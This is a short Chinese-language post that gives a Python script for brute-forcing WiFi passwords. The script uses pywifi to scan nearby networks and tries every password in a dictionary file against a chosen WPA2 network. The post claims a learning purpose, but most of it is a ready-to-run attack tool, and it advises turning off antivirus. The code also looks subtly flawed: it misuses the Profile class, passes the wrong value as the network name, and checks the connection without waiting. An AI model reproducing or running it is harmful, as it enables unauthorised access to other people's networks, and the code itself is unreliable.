1. 程式人生 > 其它 >python爆破wifi密碼

python爆破wifi密碼

首先宣告一點,做這個工具不是為了爆破別人家的密碼,主要是學習交流
如果要執行程式碼,請先安裝pip install pywifi
如果報錯,可以向我反饋,最好帶上截圖,或者報錯語句
程式碼如下:

import pywifi
import profile
import time
from pywifi import const, Profile
zd = input("請輸入字典位置:")
ozd = open(zd,'r',encoding="utf8").read().split("\n")
a = 0
wifi = pywifi.PyWiFi()
pw = wifi.interfaces()[0]
pw.scan()
time.sleep(2)
ws = pw.scan_results()
for sws in ws:
    print("掃描到以下wifi:")
    print(a)
    print(sws.ssid.encode('raw_unicode_escape').decode('utf-8'))
    a = a + 1
wm = int(input("請輸入序號"))
xz = ws[wm]
for pas in ozd:
    pw.disconnect()
    time.sleep(3)
    if pw.status() == const.IFACE_DISCONNECTED:
        pwfile = pywifi.Profile
        pwfile.ssid = xz
        pwfile.auth = const.AUTH_ALG_OPEN
        pwfile.akm.append(const.AKM_TYPE_WPA2PSK)
        pwfile.cipher = const.CIPHER_TYPE_CCMP
        pwfile.key = pas
        pw.remove_all_network_profiles()
        xwffile = pw.add_network_profile(pwfile)
        pw.connect(xwffile)
        if pw.status() == const.IFACE_CONNECTED:
            print("爆破成功,密碼是:" + pas)
            break
        else:
            print("爆破失敗")
    else:
        print("斷開連線失敗,請關閉殺軟再試")
input("破解完成,請按任意鍵繼續.........")